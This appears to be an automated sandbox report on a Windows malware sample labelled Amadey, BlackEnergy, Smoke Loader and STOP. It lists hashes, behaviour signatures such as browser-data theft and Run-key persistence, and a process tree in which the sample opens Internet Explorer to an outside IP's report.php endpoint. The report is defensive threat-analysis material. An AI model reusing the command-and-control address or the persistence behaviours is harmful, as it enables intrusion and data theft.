Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250619-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/07/2025, 12:10

General

  • Target

    2025-07-04_427915f92d6dfee464abcbe95899af89_amadey_blackenergy_elex_smoke-loader_stop.exe

  • Size

    17.0MB

  • MD5

    427915f92d6dfee464abcbe95899af89

  • SHA1

    26d814129899cf6fb1e96145b8e04b84515fc33d

  • SHA256

    0dacb1d51560612a2f24f0c64b40aabc49d9b9522a05a930df299b8f540af440

  • SHA512

    7a0ce3b689d2cd75424073ea3fe19f4c2c6ccace1ae953c956d1c2506c58886277bfa1dc80cc62ec332bafb4b059e89b0acb9018ff3c36abc93c0eef3a3e5cb6

  • SSDEEP

    49152:XYgph7GBfWSkph7GBfWBWcHPH90hOqZEDkYOMwwnMb4PmyVl:XX77GBfWz77GBfWBWC0RpYOXwnS4rVl

Malware Config

Signatures

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 59 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-07-04_427915f92d6dfee464abcbe95899af89_amadey_blackenergy_elex_smoke-loader_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-07-04_427915f92d6dfee464abcbe95899af89_amadey_blackenergy_elex_smoke-loader_stop.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Program Files\Internet Explorer\IEXPLORE.exe
      "C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4292
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4292 CREDAT:17410 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:3952
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ÔN@
    1⤵
      PID:372

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          • C:\Program Files\7-Zip\7z.exe

            Filesize

            17.5MB

            MD5

            ccdca87540e56b27f2b104bb036662ff

            SHA1

            36d79e579770a2e4f619b4c09e635c5d48ff56d5

            SHA256

            630f929545e8277fe3a65970a8ed8c6b8271e2c6446e23334e117fdcecf2c51d

            SHA512

            636e01d3633c5f1abb0736acaab01e3a7a8f7dfe6c919750fab5cfffb85419432829464963af1a4c2f35458a7ab32d2913efdc8beacfdfd2f605cbf82fcf1a37

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_9F6005AF34C7906F717D420F892FD6D0

            Filesize

            471B

            MD5

            db3f2e41632254f91f7e5e41942d8ff0

            SHA1

            7da106440ca2f41c46abf0c425b49bbce80a1cfb

            SHA256

            601e2bdca83d313ce5087a94b902e3a8237c1255e1221deeb40b3ae5c3a9d9d3

            SHA512

            0cb09d9c84a09722a83150f24caf27cd72f873f77e765b45ac00b177c895f095d9126aafbba60aa3c54b2d3acbee104aa5d0ad1942aca4038586a2242528fbfe

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_9F6005AF34C7906F717D420F892FD6D0

            Filesize

            400B

            MD5

            db4fc9104dd3122525ff2f8b01e8f98f

            SHA1

            969b7c21da7425aea7c5f1eed16996c4f3feb59b

            SHA256

            e9f8e3fb52d7f5dd91a39b9afb315f054eede800e273820d408822475bb43538

            SHA512

            5b69cc0da387950f4ec6130bfc040511dd2564566d70561849a44c2f60aaaa4d826bb304d3788a773ebb250f9533cd37bb5325012202bd3e2cabd2436ed7d10f

          • C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

            Filesize

            4KB

            MD5

            da597791be3b6e732f0bc8b20e38ee62

            SHA1

            1125c45d285c360542027d7554a5c442288974de

            SHA256

            5b2c34b3c4e8dd898b664dba6c3786e2ff9869eff55d673aa48361f11325ed07

            SHA512

            d8dc8358727590a1ed74dc70356aedc0499552c2dc0cd4f7a01853dd85ceb3aead5fbdc7c75d7da36db6af2448ce5abdff64cebdca3533ecad953c061a9b338e

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\G9B4MDE2\suggestions[1].en-US

            Filesize

            17KB

            MD5

            5a34cb996293fde2cb7a4ac89587393a

            SHA1

            3c96c993500690d1a77873cd62bc639b3a10653f

            SHA256

            c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

            SHA512

            e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

          • C:\Users\Admin\AppData\Local\Temp\Kno6244.tmp

            Filesize

            88KB

            MD5

            002d5646771d31d1e7c57990cc020150

            SHA1

            a28ec731f9106c252f313cca349a68ef94ee3de9

            SHA256

            1e2e25bf730ff20c89d57aa38f7f34be7690820e8279b20127d0014dd27b743f

            SHA512

            689e90e7d83eef054a168b98ba2b8d05ab6ff8564e199d4089215ad3fe33440908e687aa9ad7d94468f9f57a4cc19842d53a9cd2f17758bdadf0503df63629c6